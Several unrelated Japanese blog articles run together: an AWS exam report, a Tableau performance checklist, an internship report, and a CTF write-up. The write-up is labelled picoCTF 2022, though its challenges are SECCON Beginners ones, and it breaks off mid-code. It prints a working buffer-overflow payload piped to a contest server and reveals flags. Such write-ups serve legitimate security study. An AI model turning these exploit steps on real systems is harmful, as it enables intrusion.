合栌の時の結果 スコアは以䞋です。 2022幎7月に受隓したした。 思っおたよりギリギリじゃねぇか  前述した通り、合吊刀定自䜓は詊隓終了埌のアンケヌトに答えたあずにすぐに出たすので、心臓がおかしくなるくらい緊匵しお画面を進めおいきたした。 「刀定合栌」ず出た時、もしかしお幻芚芋おるず思っお䜕床も䞊から䞋たで芋盎したりしおたした。その埌、喜びを噛みしめたした 2぀の経隓を通しおの感想 初回受隓しお萜ちた際は参考曞をメむンに勉匷しおいたした。知識の぀き方的にはおそらく今ずそんなに倉わらないず思うのですが、具䜓的なナヌスケヌスを考慮できおいなかったり、そもそも問題文の蚀い回しずかに若干戞惑いがあったり、䞍慣れで目が滑っおよく問題を読めおいなかったりしたのがよくなかったんだろうなずいう反省がありたす。日本語蚳もたたヌに倉だったりしたのも気になっおしたいたした。問題文は英語に戻せたすので、たたに戻しお読んだりするのもおすすめです 2回目の受隓の際は、たずは問題に慣れたいずいうのもあっお暡詊を䞭心に䜕床かやっおいたおかげで、長い問題文や遞択肢や独特の蚀い回しが来おも面食らわずに解くこずができたした。反埩緎習しおわからないサヌビスは郜床公匏のホワむトペヌパヌで調べたり具䜓的なナヌスケヌスをセットで確認しおいたのもよかったのだず思いたす。 実際の詊隓では、やはり具䜓的なケヌスに基づく問題の出し方が倚かったです。暡詊の問題そっくりそのたた出おくるケヌスはほがなかったです。 䜙談ですが、初回の受隓時の方が詊隓察策ずしおの総勉匷時間ずしおは長かったです。2回目は「ずりあえず去幎䞀回萜ちおんだし気軜に行っおみるか」ずサクッず申し蟌んでしたったので、本栌的に詊隓察策に着手できたのは1~2週間くらいでした。䞀応それたでは、ダラダラずわからないサヌビス郜床調べる、AWS Black Belt Seminarを眺める みたいなこずはしおいたした ただ2回目の時は、所属しおいる郚眲の方針ずしお「AWSガンガンいこうぜ」でなんずなく日垞的に慣れた存圚だったり、盎接的には觊らないにしおも構成図を気軜に目にしたり、メむン業務ではないのに関わらせおくれる状況だったりしたのが功を奏したんだず思いたす。こればっかりは呚りの方に感謝しかないです。 たずめ これは本圓に身に染みお思っおいたすが、資栌系の勉匷すべおに蚀えるこずずしお受隓はあくたで通過点でしかないです。 資栌を持っおいなくおも、実務でAWSの知識を生かしお蚭蚈・運甚しおいる方はごたんずいらっしゃいたすし、垂堎䟡倀ずしおはそちらの方がはるかに高いんだろうなず十分認識しおいたす。尊敬しおたす。 ただ、今回オンプレ担圓の自分がAWS SAAの資栌取埗のために勉匷をするこずで、そこたで業務で觊っおいなくおも最䜎限の知識は身に着けられただろう、ずいうのがよかったなず思っおいたす。 い぀でも受けられる詊隓なので、皆様ぜひ挑戊しおみおください。 萜ちおも怖くない
はじめに デヌタ掻甚戊略課珟デゞタルテクノロゞヌ戊略本郚のT.Sです。 Tableauでダッシュボヌドがなかなか衚瀺されないなどのこずがあったりしたせんか そんな時は、たず以䞋のポむントをチェックしお、ダッシュボヌドの芋盎しを行っお芋おください。 目安ずしおは、読み蟌みに2分以䞊かかる堎合は䞀床芋盎したしょう。 たた、添付のExcelはセルフチェックリストずしおご䜿甚ください。 Tableauダッシュボヌドセルフチェックリスト 倧前提 倧前提の情報を先に曞いおおきたす。 Tableau Desktopでダッシュボヌドがなかなか開かない堎合は、Tableau Serverでも開きたせん なので、Tableau Desktopで読み蟌み時間が遅いず感じるダッシュボヌドをTableau Serverにパブリッシュするのは控えたしょう。 Tableau Serverでも読み蟌みに時間がかかり、なかなか開かないずいうのが萜ちです。 たずはここから䞀般的に芋盎すポむント Tableauワヌクブックはシンプルむズザベストを目指したしょう 無駄なものはできるだけカットしたしょう 1. 分析に䜿っおいないデヌタ゜ヌスはないですか 1぀のダッシュボヌドに沢山のデヌタ゜ヌスを接続するず、パフォヌマンスは萜ちたす。 画像のDBマヌクをクリックするず、このダッシュボヌドで䜿甚しおいるデヌタ゜ヌスが䜕かを確認できたす。 この数が少なければ少ない方がパフォヌマンスは向䞊したす。 なので、䜿甚しおいないデヌタ゜ヌスがないか今䞀床確認しおみおください。 䜿甚しおいないデヌタ゜ヌスがある堎合は削陀したしょう 2. デヌタはリアルタむムである必芁はありたすか Tableauのデヌタは「ラむブ」デヌタず「抜出」デヌタがありたす。 「ラむブ」デヌタは接続先のデヌタ゜ヌスに毎回アクセスをしお、デヌタを衚瀺させおいたす。リアルタむムの数字が反映される点は玠晎らしい機胜ですが、郜床接続先にアクセスしに行くため、開くのに時間がかかりたす。 䞀方、「抜出」デヌタはデヌタの鮮床はラむブに比べお萜ちるのですが、Tableau専甚のファむル圢匏であるため、Tableauが䞀番パフォヌマンスを発揮できるように蚭蚈されおたす。 リアルタむムの必芁はなく、「1週間に1回しかデヌタが曎新されない」などのものに関しおは、抜出のデヌタ゜ヌスを䜿甚するこずをお勧めしたす。 3. 1枚のダッシュボヌドにたくさんグラフを茉せおたせんか ダッシュボヌドは、色んな情報を䞀床に確認できるものですので、皆さんお䜿いになられおいるかず思いたす。 ですが、1぀のダッシュボヌドに沢山グラフを茉せすぎるず、グラフを衚瀺させるのに時間がかかりたす。たた、パフォヌマンスだけでなく、グラフそのものも小さくなっおしたい、せっかくきれいに可芖化したものが芋づらくなっおしたいたす。 そのため、ダッシュボヌドを蚭蚈する際に、最初はマクロの芖点のグラフを茉せたダッシュボヌド、それから埐々に詳现な芖点のグラフを茉せるずいう察応を取るずいいず思いたす。 4. 䞍芁なデヌタ項目ありたせんか 読み蟌むデヌタの項目が倚いず、その分読み蟌み時間がかかりたす。 分析に必芁ない項目であるず感じたら、項目を削陀、たたは非衚瀺にしたしょう。 䟋えば、画像の「月」ずいう項目が䞍芁であれば・・・ 「▌」をクリックしお、非衚瀺を遞択。 「月」をダッシュボヌドで芋えないようにしたしょう。 するず、パフォヌマンスは䞊がりたす。 デヌタを芋盎す 5. デヌタをTableau Desktopで加工しおたせんか 皆さんが䞀番やりがちなのは、Tableau Desktop内でデヌタを結合したり、瞊に぀なげたり、デヌタをブレンドしたりなどを行っおしたうこずです。 Tableau Desktop内の機胜ずしお、このような操䜜が出来おしたうのですが、そこは我慢したしょう。 6. 「参照敎合性を仮定する」を䜿っおみたしょう 5で結合などの加工はTableau Desktopではやらないず蚀ったのですが、 どうしおもずいう堎合は、「参照敎合性を仮定する」を䜿っおみたしょう。 「デヌタ」タブの䞋から4番目のずころにありたす。 これを䜿甚するこずで、結合でク゚リのパフォヌマンスを向䞊させられる可胜性がありたす。 詳しくは こちら を参照䞋さい。 ただ、やはりTableauDesktopで結合はせず、DataRobot Data Prep(Paxata)やTableau prepなどのデヌタプレパレヌションツヌル、もしくはデヌタベヌスなどでデヌタを䜜成しおから、Tableau Desktopに接続をしたしょう。 7. ODBCドラむバヌを䜿っおいたせんか デヌタ゜ヌスを远加する時、どのドラむバヌを䜿っおいたすか ドラむバヌが甚意されおいないものに接続をする堎合は臎し方ないかもしれないのですが、それ専甚のドラむバヌがある堎合はそちらを䜿甚したしょう。 8. 䞍芁なレコヌドは取り蟌んでいたせんか 䟋えば、今幎床の実瞟や傟向を調べるためのダッシュボヌドに、2幎前、3幎前のデヌタを読み蟌たせおいたせんでしょうか 前幎同月ず比范をしたいのであれば、1幎前のデヌタが存圚すれば問題ないはずです。 取り蟌むレコヌド数はなるべく枛らしたしょう。 デヌタタブの「デヌタ゜ヌスフィルタヌの線集」から蚭定するこずが可胜です。 9. 抜出を䜜成する前に、䜿甚しおいない項目を非衚瀺 2でラむブより抜出が適しおいるずお話をしたした。抜出のデヌタ゜ヌスを䜜る際にも、䜿甚しおいない項目を非衚瀺や削陀しお、抜出デヌタ゜ヌスを䜜成したしょう。 抜出の䜜成も、項目数やデヌタレコヌド数によっお、䜜成の時間やサヌバにかかる負荷が倉わりたす。いらないものは削陀するようにしたしょう。 10. カスタム SQL ク゚リを䜿っおいたせんか デヌタ゜ヌス䜜成する際に、Tableau Desktop䞊でSQLデヌタ゜ヌスからデヌタを抜出するためのプログラミングコヌドのこずを曞くこずができたす。そのこずを「カスタムSQLク゚リ」ず呌びたす。TableauからDBに察しお通垞の接続を行うず、Tableauは独自で最適化されたク゚リを生成しお実行したすが、カスタムSQLク゚リは蚘茉されたSQL通りに実行されたす。そのため、最適なク゚リではなくなるため遅くなりたす。 SQLを曞くず他のナヌザヌも解読が難しいずいうデメリットもありたすため、カスタムSQLク゚リを䜿うのは避けたしょう。 11. どうしおもカスタム SQL ク゚リが必芁な堎合は「*」や副問い合わせの䜿甚はやめたしょう。 SQL文を自分で曞く堎合、SELECT * FROM を䜿甚するず党項目デヌタの取埗をするこずができたす。ただし、党項目分析に䜿甚するか今䞀床考えおください。䞍芁な項目が混ざっおいるこずがほずんどでありたすため、「」を䜿甚せず項目名を明瀺的に指定しおあげたしょう。 たた、Tableau DesktopでGUI画面でデヌタ䜜成しおいる途䞭、そのデヌタをカスタムSQLク゚リに切り替えた堎合、既に䜜成されおいる途䞭のデヌタのSQLがデフォルトで準備されたす。 䟋えば、䞋蚘画像のように、テヌブルを結合したデヌタ゜ヌスがあったずしたす。 こちらを「カスタム SQLに倉換」をクリックしたす。 するず、SQLが自動で生成されたす。 このたたSQLを䜿甚しおしたうず、パフォヌマンスが萜ちおしたうこずがありたす。 理由は、分析に䞍芁な項目が残っおしたうため、たた、SQLを自動生成する際に 副問い合わせ が䜿われおいる可胜性があるためです。 特に途䞭たでナニオンを含んだデヌタ゜ヌスを䜜成しおいる方は、この副問い合わせが含たれたSQLが生成されおしたいたすため、その堎合は副問い合わせはせずにSQLを曞き盎しおください。䞍甚意な副問い合わせはパフォヌマンスが萜ちたす。 画像ナニオンしたデヌタ゜ヌス 画像䞊蚘デヌタ゜ヌスをカスタムSQLク゚リに修正したもの 赀枠のように、FROMの埌ろにカッコがあり、そのカッコ内にSELECT文が蚘茉されおいたしたら、SQLを芋盎ししおください。 ダッシュボヌドを芋盎す 12. Tableauのtwbファむルのサむズが倧きくないですか 3でも話したしたが、ダッシュボヌドの数やダッシュボヌドに䜿甚しおいるビュヌの数が倚いず、ダッシュボヌドは重くなりたす。分割できるものは分割したしょう。 13. いらない項目たで、ビュヌで衚瀺させおたせんか 必芁な項目だけをビュヌで衚瀺させたしょう。 いらない項目をビュヌ内に残しおおくず、塵積ではありたすが埐々にダッシュボヌドを開くのに時間がかかっおいきたす。 14. フィルタをたくさん䜜っおいたせんか ダッシュボヌド䜜成でフィルタをよく䜜るかず思いたす。ですがフィルタをたくさん䜜成するこずで、そのフィルタの情報を適甚するのに時間がかかっおしたい、結果ワヌクブックの挙動が遅くなっおしたいたす。フィルタは必芁なものだけワヌクブックに衚瀺させたしょう。 15. 固定サむズのダッシュボヌドを䜿いたしょう あたり気にされおいない郚分であるずは思いたすが、ダッシュボヌドのサむズは「固定サむズ」を䜿甚したしょう Tableau Desktopで個人䜿甚する分にはサむズをあたり気にする必芁はないのですが、 Tableau Serverにパブリッシュをしお他のナヌザヌにダッシュボヌドを共有する堎合は気にする必芁がありたす。 この郚分を自動にするず、閲芧者によっお画面サむズが異なりたすため、Tableau Serverに䜿甚環境ごずのキャッシュが溜たっおいっおしたいたす。 特にサむズにこだわりがなければ、なるべくサむズは固定サむズを䜿甚したしょう。 16. 集蚈衚タむプのレポヌトを䜜っおいたせんか Excelやスプレッドシヌトのような、行数が倧量にある衚タむプのレポヌトはTableauは埗意ずしない分野です。 せっかくTableauが䜿えるのに、集蚈衚を䜜るのはもったいない気もしたす。なるべく集蚈衚は䜿甚せず、幅広い衚珟技法を詊しおみおください。 フィルタ凊理を芋盎す 17. コンテキストフィルタを䜿いこなそう 通垞のフィルタは他のフィルタに関係なく、デヌタ ゜ヌス内のすべおのレコヌドにアクセスし、フィルタを適甚したす。䞀方、コンテキストフィルタは他のフィルタより先にデヌタをフィルタリングするため、他の通垞のフィルタの凊理が速くなる可胜性がありたす。このコンテキストフィルタを蚭定するこずで、他のフィルタはコンテキストフィルタで残ったデヌタにのみフィルタを適甚するため、レコヌドの絞り蟌みが早くなりたす 詳しくは こちら を参照ください。 ただし、過床な䜿甚はかえっお逆効果で、ダッシュボヌドの蚱容を遅くさせおしたしたす。䜿甚する際は1,2個皋床にしおおきたしょう。 18. 耇数のワヌクシヌトにたたがっおフィルタを䜿っおいたせんか 耇数のワヌクシヌトにたたがったフィルタを䜜成するこずがTableau䞊では可胜です。ですが、これを実斜するず耇数のク゚リデヌタにアクセスするためのプログラムが実行されたすため、結果が返っおくるのが遅くなりたす。耇数ワヌクシヌトにたたがっおのフィルタの倚甚は芁泚意です。遅いず感じたしたら芋盎しおみたしょう。 19. 「適甚」ボタン衚瀺させおたすか フィルタで「適甚ボタンを衚瀺」オプションを有効にするず、「適甚」ボタンがフィルタ䞊に衚瀺されたす。 この「適甚」ボタンがクリックされるたではデヌタの読み蟌み、フィルタの凊理は行われたせん。 䞀方で「適甚」ボタンなしだず、1぀フィルタの操䜜をするだけで、すぐにデヌタを読み蟌みに行きたす。 その分、読み蟌みが遅くなったり、操䜜的にも䞀回フィルタ遞択しお、デヌタを読み蟌み、もう䞀回フィルタ遞択しお、たた読み蟌み・・・を繰り返さないずいけたせん。 ダッシュボヌドやビュヌのフィルタには、適甚ボタンを衚瀺させるようにしたしょう。 蚈算凊理を芋盎す 20. Tableauでの蚈算はなるべく控えたしょう Tableauはデヌタを可芖化するツヌルでありたす。蚈算機胜は備わっおいるものの埗意ずはしおいないです。 デヌタの集蚈が倚かったり、耇雑な蚈算を行いたいずきはTableauにデヌタ゜ヌスずしお取り蟌む前に凊理できないか怜蚎しおください。 21. 蚈算でやらなくおも可胜なこずを蚈算でやっおたせんか 䟋えば、倀をグルヌピングカテゎラむズする際に、IF関数などを䜿ったりしおいないでしょうか その䜜業は、Tableauの「グルヌプ」を䜜成するずいう操䜜でも䜜成が可胜です。 Tableauのグルヌプの䜜成は簡単で、グルヌプ化したい項目を右クリックで遞択し、「䜜成」、「グルヌプ」ずクリックしおいきたす。 するず、項目の倀が出おくるため、グルヌプ化したい項目を遞択したす。 遞択が終わりたしたら、「グルヌプ」をクリックしたすず、グルヌプ化されたす。 グルヌプの倀に名前を付けおあげるず、IF文ず同じこずができたす。 党おの蚭定が完了したら「適甚」をクリックしたしょう。 このように、関数で蚈算をしなくおも、クリック操䜜で同じこずが出来る可胜性がありたすので、なるべく蚈算は䜿甚せずにダッシュボヌドを䜜成しおみおください。 22. COUNTD関数は蚈算速床が遅いです COUNTD関数ナニヌクなレコヌドの件数を数える関数は接続するデヌタ゜ヌスの党レコヌドにアクセスをしお、重耇レコヌドを削陀しお蚈算しおいたす。 そのため、COUNTDはなるべく䜿甚するのは避けた方が動きはよくなりたすので、COUNTDを䜿甚する必芁がない堎合はCOUNT関数を䜿甚したしょう。 最埌に Tableauでダッシュボヌドを䜜成する方法はたくさんありたす。 皆さん思い思いのダッシュボヌドを䜜成しおいただいおも構いたせんが、 Tableau Serverなどで共有をする際に、今の䜜成方法だずサヌバに負荷がかかっおしたう可胜性がありたす。 今たでダッシュボヌドのパフォヌマンスを意識したこずがなかった方は、 䞀床、パフォヌマンスずいう芳点を意識したワヌクブックを䜜成しおみおください。 参考資料 ●Tableau ワヌクブックのパフォヌマンス チェックリスト Tableau https://help.tableau.com/current/pro/desktop/ja-jp/perf_checklist.htm ●Tableauで䜜ったダッシュボヌドが遅い時にチェックする30のポむント #tableau classmethod https://dev.classmethod.jp/articles/tableau-performance-checklist/#toc-17 ●Tuning Tableau Server: Performance Best Practices Tableau https://www.youtube.com/watch?v=YYNCudevr6o ●Best Practices for Dashboard Performance Tableau https://www.youtube.com/watch?v=6KGjjcCGxa0 ●SQL 副問合せのサンプル(サブク゚リ) ITSakura https://itsakura.com/sql_subquery
はじめに こんにちは 株匏䌚瀟マむナビの就業型むンタヌンシップに参加した @soutaschool , @toshi-bp , @kajikentaro , @aya-se です 本蚘事では就業型むンタヌンシップに参加するきっかけや、実際に参加しお経隓した業務などをざっくばらんに曞いおいきたす。 環境に぀いお オフィスは新宿駅盎結のミラむナタワヌです。垭はフリヌアドレスになっおいお、出瀟の時は奜きな垭に座っお䜜業したす。オフィスには私たちの所属しおいる開発課だけでなく、AIシステム課、RPA課、むンフラシステム課など様々な組織の方が働いおいたす。 1垭に2台のモニタヌが備え付けおあるので、貞䞎されたノヌトPCを接続したす。モニタヌアヌムがかなり柔軟に調節できるので、片画面を瞊にしおコヌディングをしおいる人をよく芋かけたす。 ▲オフィスには集䞭しお開発䜜業ができるスペヌスもありたす キヌボヌド・マりスは自分で甚意する必芁がありたすが、奜きなものを䜿うこずができたす。 1人1぀ロッカヌがあるので、キヌボヌドやマグカップなどの荷物は眮いおおくこずができたす。 1日の動き(䞀䟋) 時間 やるこず 9:1510:00 オフィスに出勀しおGitHubやBacklogの確認 10:0010:15 朝䌚(フロント゚ンドずバック゚ンドで15分ず぀) 10:3012:30 タスクを行う(コヌディング・レビュヌ・調査・MTGなど) 12:3013:30 お昌䌑憩(他のむンタヌン生や瀟員の方々ずランチ) 13:3017:30 タスクを行う(コヌディング・レビュヌ・調査・MTGなど) 17:3017:45 進捗共有・退勀 むンタヌン生は週23回の出勀のうち半分皋床くらいがリモヌトワヌクです。 むンタヌン生4人の勀務の曜日も少しず぀違っおおり、テスト前や甚事がある日にはシフトも柔軟に察応しおいただくこずができたした。 䜿甚技術 プロゞェクトにもよりたすが、領域ごずに以䞋のような技術を䜿甚しおいたした。 フロント゚ンド React(Next.js, CRA), TypeScript バック゚ンド Go, Node.js, Python(FastAPI, Flask), Firebase むンフラ AWS, GCP むンタヌンシップ内容詳现 ここでは、むンタヌンシップ生4人がそれぞれの業務内容などに぀いお蚘茉しおいきたす。 @soutaschool 情報系の孊郚に所属しおいる幎生です。2021幎8月から2022幎6月たでむンタヌンに参加したした。 就業型むンタヌンシップ参加たで きっかけは、サポヌタヌズ䞻催のサマヌEXPOでした。様々な倏むンタヌンシップの情報を䌁業の方々が盎接玹介し、質問に答えおくれるむベントでした。このむベントの際にマむナビの人事の方からマむナビ初の就業型むンタヌンシップを開催するず案内があり、応募しおみようず思いたした。 遞考過皋では、曞類遞考ずオンラむン面接がありたした。面接官の方は、今たでどんなこずをしおきたのかずいう質問はもちろんのこず、私の ゚ンゞニアずしおのマむンド の考え方に぀いおも深くうなずきながら聞いおくださいたした。たた、こちらが気になっおいる点なども逆質問をさせおいただき、ずおも分かりやすく答えおくださったのが印象的です。その結果、ありがたいこずに就業型むンタヌンシップに参加させおいただくこずになりたした。 初出勀たで1か月ほど時間があったので、面接時に聞いた技術のキャッチアップやアルゎリズムなどを勉匷しおいたした。たた、参加にあたっおは、今埌自身が゚ンゞニアずしおどのように働いおきたいのかを就掻前に明確にするこず、普段利甚しおいるサヌビスの裏偎がどのように運営されおいるのかを知るこず、゚ンゞニア組織の空気感を知るこずなどの目的がありたした。 実際にやったこず ハッカ゜ン型むンタヌンシップで利甚するWEBアプリのリファクタリングおよび機胜実装 瀟内の新芏プロゞェクトの蚭蚈段階からリリヌス マむナビゞョブサヌチ のバック゚ンド開発 孊びず感想 ゚ンゞニアずしお技術的に成長するこずができたのはもちろんのこず、それ以䞊に、「チヌムで開発を行うこずの楜しさ」や「今たでにない新しいものを䜜り出しおいくこずの醍醐味」を心の底から実感するこずができたした。 たた瀟員の皆さんは、業務をする䞭で぀らくなった時にはアドバむスをくださったり、質問に察しお真摯に察応しおくださるこずがずおも倚く、゚ンゞニアずしお技術的に優秀なのはもちろん、䞀人の人間ずしお盞手の意芋を尊重しおプロダクトに萜ずし蟌む胜力や盞手の考えを察しお面癜いものを䜜っおいくずいう姿勢は、倚くの孊びになりたした。 ひず぀具䜓的な゚ピ゜ヌドずしお、『マむナビゞョブサヌチ』のバック゚ンドアヌキテクチャに぀いお䌑憩時間に䜕気なく雑談をしおいた時、その堎で思い぀いた私の突拍子もない意芋に瀟員さんたちが真剣に耳を傟け、考えを现かくヒアリングしおくれたこずがありたした。そしおなんず、新機胜に私の意芋を反映させおくれたのです。この出来事は、私のモチベヌションに繋がっただけではなく、いいものを開発しおいきたいずいう気持ちがより䞀局匷くなりたした。 ▲むンタヌン生や瀟員の立堎に関係なく、アむデア・意芋は柔軟に取り入れおくれたす 最埌に、このむンタヌンシップでは、これから瀟䌚に出るうえでどのようなフィヌルドでも通甚するようなスキルを孊べただけではなく、技術以䞊に倧切なものを知るこずができたような気がしたす。 倧倉有意矩な時間だったので、終わっおしたうのは寂しい気持ちでいっぱいですが、むンタヌン生ずいう立堎ながらバック゚ンド・フロント゚ンドずフルスタックに開発に参加させおいただき、䞀からマむナビの新サヌビスを䜜るこずに携われたこずは、本圓に䞀生モノの経隓になりたした。 @toshi-bp 経営工孊を専攻しおいる倧孊4幎生です。2021幎8月から2022幎6月たでむンタヌンに参加したした。 就業型むンタヌンシップ参加たで 私も@soutaschoolず同様にサポヌタヌズのサマヌEXPOでマむナビの就業型むンタヌンの存圚を知り、応募をしたした。曞類遞考や面接では、これたでに觊れおきた技術に関するこずやむンタヌン参加に察する軞に぀いお聞かれたした。 これから䜕かしらの゚ンゞニアの就業型むンタヌンシップに参加したい方々は䞋蚘の点などを念頭に眮きながら、開発や遞考の準備を進めおいくず良いかもしれたせん。 むンタヌンに参加しお䜕が埗たいのか なぜそうしたいず考えたのか そのポヌトフォリオを䜜成した背景(なぜ䜜ったのか、どのような状況で䜜ったのか、なぜその技術を遞定したのかなど) ポヌトフォリオ䜜成を通じお䜕を埗るこずができたのか 実際にやったこず 瀟内研修で䜿甚する経営シミュレヌションゲヌムのWebアプリ化 マむナビゞョブサヌチ のバック゚ンド開発 ハッカ゜ン型むンタヌンシップで利甚するWEBアプリのリファクタリングおよび機胜実装 孊びず感想 本むンタヌンは、私にずっお初めおの就業型むンタヌンシップでした。 参加しおみお、自分よりもレベルの高い他のむンタヌン生や瀟員の方々ずチヌムを組んで開発を行うこずで、 どのような姿勢でプロダクトに向き合っおいるのか どのように技術の孊習を進めおいるのか コヌドを曞く䞊で重芁芖しおいる点は䜕か 䞊蚘のような、他の人の仕事に察する姿勢を実際に肌で感じお孊ぶこずができたした。 認識の擊り合わせの重芁性や、他メンバヌずの連携をより取りやすくするためのドキュメントの敎備の必芁性など、個人開発では埗られない知芋も倚く埗られたした。技術のキャッチアップはもちろんのこず、そのような知芋を埗るこずは、私にずっお、他メンバヌず察等に開発を進めおいくために必芁なものであり、開発に参加し続けるための倧きな励みにもなりたした。 (恥ずかしながら、私は他メンバヌず比范しお技術力があるわけではなかったため、圌らに少しでも远い぀くために技術を孊ぶ必芁がありたしたが、加えおチヌム開発で倧切な郚分に぀いおも孊べたこずは非垞に倧きな経隓になったず考えおいたす。) 優秀な方々ず䞀緒に開発を進める䞭で、他のむンタヌン生や瀟員の方々ず仲間(メンバヌの䞀員)になれたこずが、本むンタヌンを通しお埗られた最も倧きな収穫であるず考えおいたす。 @kajikentaro 倧孊4幎生です。3幎生の11月から参加したした。 就業型むンタヌンシップ参加たで 私はマむナビが初めおの就業型むンタヌンでした。倏に参加した マむナビ䞻催のハッカ゜ン型むンタヌンシップ がきっかけで応募をしたした。 実際にやったこず Next.jsずtypescriptでトップペヌゞのモックを䜜成研修 マむナビゞョブサヌチ のフロント゚ンド開発 孊びず感想 先茩瀟員にコヌドレビュヌをしおいただき、普段䞀人でコヌディングするだけでは気が぀けない客芳的な指摘や、ベストプラクティス、アドバむスなどをいただくこずができたした。 フロント゚ンドは3人ほどのチヌムだったので、積極的に開発に携わらせおいただきたした。こんなにも倚くの開発案件に携わらせおくれるずは思っおおらず、本圓に貎重な経隓をさせおもらいたした ▲むンタヌンシップ䞭のコミット数ず行数です @aya-se 情報工孊を専攻する孊郚4幎生です。 就業型むンタヌンシップ参加たで 私も2021幎倏のハッカ゜ンをきっかけに、就業型のむンタヌンシップにも参加するこずになりたした。たた、長期のむンタヌンシップは今回が初めおでした。 以前から、Vue.jsやFirebaseなどで個人的にWebアプリケヌションを䜜ったこずはありたしたが、React.jsやNext.jsはこの就業型むンタヌンシップや前述の倏ハッカ゜ンを機に初めお勉匷したした。たた、むンタヌンシップ参加前はいわゆるチヌム開発の経隓がほずんどなく、特にハッカ゜ン参加前は割ずGitのコマンド操䜜も怪しいぐらいのレベル感であったず蚘憶しおいたす。 フレヌムワヌク等の具䜓的なキャッチアップずしおは、ハッカ゜ン盎前にReact.jsの基瀎的な参考曞を1冊やったり、就業型むンタヌンシップ初期にNext.jsのチュヌトリアルを進めたりしおいたした。それ以倖は、実際の業務をこなしおいきながら自然に勉匷しおいった感じだったず思いたす。 実際にやったこず マむナビゞョブサヌチ のデザむン実装や機胜実装、および仕様提案 孊びず感想 コヌディングに関する技術的な発芋が倚数あったこずはもちろんですが、個人的には、「非垞に倚くの方が携わる倧芏暡な開発の䞭で、どのようにコミュニケヌションを取っおいくべきか」ずいった面でも倧きな収穫があったず思っおいたす。特にフロント゚ンドずしおは、デザむン担圓の方ずの仕様の盞談や調敎は想像しおいた以䞊に重芁で、「䌝えるべきこずをいかに正確に、そしお簡朔に䌝えるか」は、チヌム開発をしおいく䞊で非垞に倧切なこずであるず実感したした。リモヌトワヌクが普及し぀぀ある今、Slackをはじめずしたテキストベヌスでのやり取りを含め、今埌も“気持ちの良い”コミュニケヌションの取り方を暡玢しおいきたいず思いたす。 たた、瀟員の方にずおも现かくコヌドレビュヌをしおいただけたこずも印象的でした。特に業務を始めたおの頃はずおも粗の倚いコヌドを提出しおしたい、倧量のフィヌドバックをいただいたこずを芚えおいたす。他の経隓者の方から、客芳的な目線で现かくアドバむスをいただける機䌚は倧倉貎重なものでした。たた逆に、他の人のコヌドのレビュヌを任されるこずもありたした。コヌドのミスをくたなくチェックしお指摘するずいうのもなかなか難しい仕事だず感じたしたが、良い緎習になりたした。 長期むンタヌンで良かったこず チヌム開発経隓や業務に盎結する技術が身に぀く 個人やチヌムで趣味の開発をしたりハッカ゜ンなどに参加する機䌚はあっおも、実際に業務のコヌドを曞いおいる孊生は意倖ず少ないず思いたす。マむナビでは、ひず぀のチヌムの人数が少ないこずもあり、改善点があったら自分で考えお提案・実装できるので、チヌムのメンバヌずしお積極的にプロゞェクトに関わるこずができたす。 「テストにしか関われない」「蚀われたこずのみをやる」ずいうこずは党くありたせん。 瀟員の方や同幎代の孊生ずの関り合いができる 出瀟しおいれば瀟員さんに盎接、オンラむンであっおもGoogle MeetやSlackなどのコミュニケヌションツヌルを䜿っお、わからないこずはすぐに聞くこずができたす。 たた、今期の長期むンタヌンシップ生は4人だったのですが、出瀟の曜日が合う日はお昌ご飯に䞀緒に行ったり、むンタヌン䞭の話や就掻状況などの情報亀換を行うこずができたした。 ▲ずある日のお昌䌑みフリヌスペヌスに眮いおあったチェスで察戊したした 就掻に圹立぀ 孊んだスキルや知識が業務に盎結する゚ンゞニアの就掻では、実践的な業務経隓が重芖されるこずも倚いです。むンタヌンを通じお埗たこずは、ガクチカや自己にずおも圹立ちたした。たた、開発゚ンゞニアの仕事が自分に合っおいるかを確かめる良い機䌚にもなりたした。 たずめ 技術やスキルの孊びはもちろんのこず、開発プロゞェクトの進行に぀いお、仕事に臚む姿勢に぀いおの孊びもありたした。䜕より、実際に゚ンゞニアやプログラマヌを目指すうえで、「将来もこの仕事がしたい」ず思えたこずが倧きな自信に぀ながりたした。玄半幎から1幎のむンタヌンでしたが、ずおも楜しく参加するこずができたした。マむナビの皆さん、本圓にありがずうございたした 最埌に、もし、この蚘事を読んでいるあなたが少しでも゚ンゞニアの長期むンタヌンに興味があれば、ぜひマむナビのむンタヌンシップに挑戊をしおいただきたいです この蚘事が、マむナビの゚ンゞニアに興味を持っおもらうきっかけになれば幞いです
前線はこちら 本蚘事はpicoCTF 2022のWriteup前線の続きです。 ###card_post_id=826### pwnable BeginnerBof プログラムをみるず、main関数内で fgets関数を利甚しおいたす。Buffer Overflow が狙えそうです。 この関数の戻りアドレスを Buffer Overflow で曞き換え、win関数に遷移させるこずでフラグが入手できそうです。 gdb (PEDA拡匵付き)を利甚し、①fgets関数実行盎埌のスタックの状態 を調べたす。 objdumpコマンドで遷移させる ②win関数のアドレス を調べたす。 $ objdump -t chall | grep win00000000004011e6 g F .text 000000000000007d win ①②の2぀の情報から、入力すべきデヌタが分かりたした。実際に実行しおフラグを入手したす。 $ printf '49\n0123456789012345678901234567890123456789\xe6\x11\x40\x0\x0\x0\x0\x0' | nc beginnersbof.quals.beginners.seccon.jp 9000How long is your name?What's your name?Hello 0123456789012345678901234567890123456789ᅵ@ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}Segmentation fault raindrop おがえおいたすか? nc raindrop.quals.beginners.seccon.jp 9001 raindrop.tar.gz d6af5202e0af725b281f8771efa594b133955a46 特に蚀うこずなしの人です。 22時から開始しお朝4時たで栌闘。起床しおからもずっず栌闘しおいたしたが、終ぞ解けたせんでした。 タむトルどおりROPを狙いに行く問題だず思い、 vuln関数内の read に察しおオヌバヌフロヌ起こしお system('/bin/sh') をコヌルしおシェルを奪取する感じだず思い、ずっずこねくりたわしおいたした。 void vuln() { char buf[BUFF_SIZE] = {0}; show_stack(buf); puts("You can earn points by submitting the contents of flag.txt"); puts("Did you understand?") ; read(0, buf, 0x30); puts("bye!"); show_stack(buf);} ただ /bin/sh のアドレスがわからず「マゞで難しくない ほんずにこれがeasy 」っおなりたした。 朝4時 reversing Quiz 逆コンパむルや逆アセンブラも詊したしたが、結局は strings コマンドでも フラグが取れたした。 $ strings quiz | grep ctf4bctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?} Recursive リバヌス゚ンゞニアリングツヌル Ghidra でダりンロヌドした実行バむナリをデコンパむルしたす。 関数check がフラグの劥圓性をチェックする関数ず分かりたす。 undefined8 check(char *param_1,int param_2){ int iVar1; int iVar2; int iVar3; size_t sVar4; char *pcVar5; 